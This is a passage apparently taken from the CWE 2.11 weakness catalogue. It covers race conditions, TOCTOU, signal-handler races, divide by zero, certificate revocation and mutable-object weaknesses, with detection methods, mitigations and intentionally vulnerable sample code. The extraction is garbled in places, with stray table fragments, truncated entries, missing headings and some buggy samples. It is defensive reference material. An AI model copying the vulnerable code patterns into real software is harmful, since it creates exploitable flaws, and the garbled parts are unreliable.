Black Box
Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box
Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
   Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
   Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
   Web Application Scanner
   Web Services Scanner
   Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
   Framework-based Fuzzer
Cost effective for partial coverage:
   Fuzz Tester
   Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
   Manual Source Code Review (not inspections)
Cost effective for partial coverage:
   Focused Manual Spotcheck - Focused manual analysis of source
Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

**Architectural/Design Review**

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples**

**Example 1:**
This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

**Perl Example:**

```perl
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
    FatalError("Bad Transfer Amount");
} else {
    $newbalance = $balance - $transfer_amount;
    if (($balance - $transfer_amount) < 0) {
        FatalError("Insufficient Funds");
    }
    SendNewBalanceToDatabase($newbalance);
    NotifyUser("Transfer of $transfer_amount succeeded.");
    NotifyUser("New balance: $newbalance");
}
```

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase(). Suppose the balance is initially 100.00. An attack could be constructed as follows:

**PseudoCode Example:**

```plaintext
The attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase(). Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00
At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.
```

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

**Example 2:**
The following function attempts to acquire a lock in order to perform operations on a shared resource.

**C Example:**

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

**Use thread-safe capabilities such as the data access abstraction in Spring.**

**Architecture and Design**

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
CWE Version 2.11

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Implementation
When using multithreading and operating on shared variables, only use thread-safe functions.

Implementation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Implementation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Implementation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Implementation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Implementation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.362.11]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Research Gaps
Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

References

Maintenance Notes
The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.
CWE-363: Race Condition Enabling Link Following

Weakness ID: 363 (Weakness Base)  Status: Draft

Description

Summary
The software checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the software to access the wrong file.

Extended Description
While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the software to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Demonstrative Examples
This code prints the contents of a file if a user has permission.

PHP Example:

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    } else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

</tbody>
</table>

Relationship Notes
This is already covered by the "Link Following" weakness (CWE-59). It is included here because so many people associate race conditions with link problems; however, not all link following issues involve race conditions.

CWE-364: Signal Handler Race Condition

<table>
<thead>
<tr>
<th>Weakness ID: 364 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary

The software uses a signal handler that introduces a race condition.

Extended Description

Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the software state to be corrupted, possibly leading to a denial of service or even code execution.

These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":

- Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code
- Shared state between a signal handler and other signal handlers
- Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.
- Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.
- Use of set jmp and long jmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality
While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.

Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

- Avoiding shared state
- Using synchronization in the signal handler
- Using synchronization in the regular code
- Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- C (Sometimes)
- C++ (Sometimes)

**Common Consequences**

- Integrity
- Confidentiality
- Availability
- Modify application data
- Modify memory
- DoS: crash / exit / restart
- Execute unauthorized code or commands

It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.

**Access Control**

- Gain privileges / assume identity

If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.

**Likelihood of Exploit**

- Medium

**Demonstrative Examples**

**Example 1:**
This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

```c
char *logMessage;
void handler (int sigNum) {
  syslog(LOG_NOTICE, "%s\n", logMessage);
  free(logMessage);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
  sleep(10);
  exit(0);
}
int main (int argc, char* argv[]) {
  logMessage = strdup(argv[1]);
  return 0;
}
```
The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.

The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.

The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler"). SIGHUP-handler begins to execute, calling syslog().

syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.

The attacker then sends SIGTERM.

SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.

The SIGTERM handler is invoked.

SIGTERM-handler records the log message using syslog(), then frees the logMessage variable. At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.364.1]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:
The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

C Example:

```c
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>

void *global1, *global2;
char *what;

void sh (int dummy) {
    syslog(LOG_NOTICE,"%s\n",what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}

int main (int argc,char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}```
However, the following sequence of events may result in a double-free (CWE-415):
- a SIGHUP is delivered to the process
- sh() is invoked to process the SIGHUP
This first invocation of sh() reaches the point where global1 is freed
At this point, a SIGTERM is sent to the process
- the second invocation of sh() might do another free of global1
this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call
may use malloc calls which are not async-signal safe. This could cause corruption of the heap
management structures. For more details, consult the example within "Delivering Signals for Fun
and Profit" [R.364.1].

**Observed Examples**

</tr>
</tbody>
</table>

**Potential Mitigations**

**Requirements**

**Language Selection**
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

**Architecture and Design**
- Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

**Implementation**
- Only use reentrant functions within signal handlers. Also, use sanity checks to ensure that state is consistent while performing asynchronous actions that affect the state of execution.

**CWE-365: Race Condition in Switch**

**Weakness ID:** 365 (Weakness Base)

**Status:** Draft

**Description**

**Summary**
The code contains a switch statement in which the switched variable can be modified while the switch is still executing, resulting in unexpected behavior.

**Extended Description**
This issue is particularly important in the case of switch statements that involve fall-through style case statements - i.e., those which do not end with break. If the variable being tested by the switch changes in the course of execution, this could change the intended logic of the switch so much that it places the process in a contradictory state and in some cases could even result in memory corruption.

**Time of Introduction**
- Implementation

**Applicable Platforms**

<table>
<thead>
<tr>
<th>Languages</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
</tr>
<tr>
<td>C++</td>
</tr>
<tr>
<td>Java</td>
</tr>
<tr>
<td>.NET</td>
</tr>
</tbody>
</table>

**Common Consequences**

<table>
<thead>
<tr>
<th>Integrity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Other</td>
</tr>
<tr>
<td>Alter execution logic</td>
</tr>
<tr>
<td>Unexpected state</td>
</tr>
</tbody>
</table>

This weakness may lead to unexpected system state, resulting in unpredictable behavior.

**Likelihood of Exploit**
Medium

**Demonstrative Examples**
This example has a switch statement that executes different code depending on the current time.

**C/C++ Example:**

```c
#include <sys/types.h>
```

---
```c
#include <sys/stat.h>
int main(argc, argv){
    struct stat *sb;
    time_t timer;
    lstat("bar.sh", sb);
    printf("%d\n", sb->st_ctime);
    switch(sb->st_ctime % 2){
    case 0: printf("One option\n");
         break;
    case 1: printf("another option\n");
         break;
    default: printf("huh\n");
         break;
    }
    return 0;
}
```

It seems that the default case of the switch statement should never be reached, as `st_ctime % 2` should always be 0 or 1. However, if `st_ctime % 2` is 1 when the first case is evaluated, the time may change and `st_ctime % 2` may be equal to 0 when the second case is evaluated. The result is that neither case 1 or case 2 execute, and the default option is chosen.

**Potential Mitigations**

**Implementation**

Variables that may be subject to race conditions should be locked before the switch statement starts and only unlocked after the statement ends.

**CWE-366: Race Condition within a Thread**

**Weakness ID**: 366 *(Weakness Base)*

**Status**: Draft

**Description**

**Summary**

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- C
- C++
- Java
Common Consequences

Integrity

Other

Alter execution logic

Unexpected state

The main problem is that -- if a lock is overome -- data could be altered in a bad state.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example:

```c
int foo = 0;
int storenum(int num) {
    static int counter = 0;
    counter++;
    if (num > foo) foo = num;
    return foo;
}
```

Java Example:

```java
public class Race {
    static int foo = 0;
    public static void main() {
        new Threader().start();
        foo = 1;
    }
    public static class Threader extends Thread {
        public void run() {
            System.out.println(foo);
        }
    }
}
```

Potential Mitigations

Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

Architecture and Design

Create resource-locking sanity checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

**Weakness ID:** 367 (Weakness Base)  
**Status:** Incomplete

**Description**

**Summary**
The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

**Extended Description**
This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.

**Alternate Terms**
- TOCTTOU  
The TOCTTOU acronym expands to "Time Of Check To Time Of Use".
- TOCCTOU  
The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Integrity
- Other
- Alter execution logic
- Unexpected state
  - The attacker can gain access to otherwise unauthorized resources.
CWE Version 2.11
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Integrity
Other
Modify application data
Modify files or directories
Modify memory
Other

Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.

Integrity
Other
Other

The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.

Non-Repudiation
Hide activities

If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.

Non-Repudiation
Other
Other

In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.

Likelihood of Exploit
Low to Medium

Demonstrative Examples

Example 1:
The following code checks a file, then updates its contents.

C/C++ Example:

```
struct stat *sb;
...
lstat("...",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
  print("Now updating things\n");
  updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

Example 2:
The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

C Example:

```
if(access(file,W_OK)) {
  i = fopen(file,"w+”);
  operate(f);
  ...
}
else {
  fprintf(stderr,"Unable to open file %s\n",file);
}
```
The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

**Example 3:**

This code prints the contents of a file if a user has permission.

**PHP Example:**

```php
function readFile($filename)
{
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename))
    {
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user)
    {
        echo file_get_contents($realFile);
        return;
    } elseif
    {   echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

<td>chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

**Implementation**

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

**Architecture and Design**

Limit the interleaving of operations on files from multiple processes.
Implementation

Architecture and Design
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Architecture and Design
Ensure that some environmental locking mechanism can be used to protect resources effectively.

Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

Relationship Notes

TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.

Research Gaps

Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.

Description

Summary
A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.

Extended Description
This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

Observed Examples

Reference | Description
--- | ---
CVE-2004-0191 | XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain.
CVE-2004-2260 | Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. **this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts**
CVE-2004-2491 | Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward.
CVE-2009-1837 | Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)
This weakness can be primary to almost anything, depending on the context of the race condition.

Resultant (where the weakness is typically related to the presence of some other weaknesses)
This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.

**CWE-369: Divide By Zero**

**Weakness ID:** 369 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The product divides a value by zero.

**Extended Description**

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

**Time of Introduction**

- Implementation

**Common Consequences**

**Availability**

DoS: crash / exit / restart

A Divide by Zero results in a crash.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

**Example 1:**

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

**Java Example:**

```java
public int computeAverageResponseTime (int totalTime, int numRequests) {
    return totalTime / numRequests;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

**Good Code**

```java
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
    if (numRequests == 0) {
        System.out.println("Division by zero attempted!");
    }
```
Example 2:
The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

**C/C++ Example:**

```c
double divide(double x, double y){
    return x/y;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

```c
const int DivideByZero = 10;
double divide(double x, double y){
    if ( 0 == y ){
        throw DivideByZero;
    }
    return x/y;
}
```

References

Example 3:
The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

**C# Example:**

```c
int Division(int x, int y){
    return (x / y);
}
```

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

```c
int SafeDivision(int x, int y){
    try{
        return (x / y);
    }
    catch (System.DivideByZeroException dbz){
        System.Console.WriteLine("Division by zero attempted!");
        return 0;
    }
}
```

CWE-370: Missing Check for Certificate Revocation after Initial Check

**Weakness ID:** 370 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**

The software does not check the revocation status of a certificate after its initial revocation check, which can cause the software to perform privileged actions even after the certificate is revoked at a later time.

**Extended Description**

If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

**Time of Introduction**

- Architecture and Design
- Implementation
Applicable Platforms
Languages
• Language-independent

Common Consequences
Access Control
Gain privileges / assume identity
Trust may be assigned to an entity who is not who it claims to be.

Integrity
Modify application data
Data from an untrusted (and possibly malicious) source may be integrated.

Confidentiality
Read application data
Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

Likelihood of Exploit
Medium

Demonstrative Examples
The following code checks a certificate before performing an action.

C/C++ Example:

```c
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if (X509_V_OK==foo)
        //do stuff
   .foo=SSL_get_verify_result(ssl);
    //do more stuff without the check.
}
```

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

Potential Mitigations
Architecture and Design
Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes
This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.
This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

<tbody>
<tr>
<td>PLOVER</td>
<td>Incomplete Internal State Distinction</td>
</tr>
</tbody>
</table>
CWE-373: DEPRECATED: State Synchronization Error

Weakness ID: 373 (Deprecated Weakness Base)  Status: Deprecated

Description
Summary
This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).

CWE-374: Passing Mutable Objects to an Untrusted Method

Weakness ID: 374 (Weakness Base)  Status: Draft

Description
Summary
The program sends non-cloned mutable data as an argument to a method or function.

Extended Description
The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++
• Java
• .NET

Common Consequences
Integrity
Modify memory
Potentially data could be tampered with by another function which should not have been tampered with.

Likelihood of Exploit
Medium

Demonstrative Examples
Example 1:
C/C++ Example:

```cpp
private:
    int foo;
    complexType bar;
    String baz;
    otherClass externalClass;
public:
    void doStuff() {
        externalClass.doOtherStuff(foo, bar, baz)
    }
```
In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

**Example 2:**

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

**Java Example:**

```java
public class BookStore {
    private BookStoreInventory inventory;
    private SalesDBManager sales;
    ...
    // constructor for BookStore
    public BookStore() {
        this.inventory = new BookStoreInventory();
        this.sales = new SalesDBManager();
        ...
    }
    public void updateSalesAndInventoryForBookSold(String bookISBN) {
        // Get book object from inventory using ISBN
        // update sales information for book sold
        sales.updateSalesInformation(book);
        // update inventory
        inventory.updateInventory(book);
    }
    // other BookStore methods
    ...
}
public class Book {
    private String title;
    private String author;
    private String isbn;
    // Book object constructors and get/set methods
    ...
}
```

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [R.374.1]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

**Java Example:**

```java
public void updateSalesAndInventoryForBookSold(String bookISBN) {
    // Get book object from inventory using ISBN
    // Create copy of book object to make sure contents are not changed
    Book bookSold = (Book) book.clone();
    ...
}
```
# CWE-375: Returning a Mutable Object to an Untrusted Caller

## Potential Mitigations

### Implementation

Pass in data which should not be altered as constant or immutable.

### Implementation

Clone all mutable data before passing it into an external function. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

## References

## CWE-375: Returning a Mutable Object to an Untrusted Caller

### Weakness ID: 375 (Weakness Base)

### Status: Draft

#### Description

**Summary**

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.

**Extended Description**

In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.

#### Time of Introduction

- Implementation

#### Applicable Platforms

**Languages**

- C
- C++
- Java
- .NET

#### Common Consequences
CWE Version 2.11
CWE-376: Temporary File Issues

Access Control
Integrity
Modify memory
Potentially data could be tampered with by another function which should not have been tampered with.

Likelihood of Exploit
Medium

Demonstrative Examples
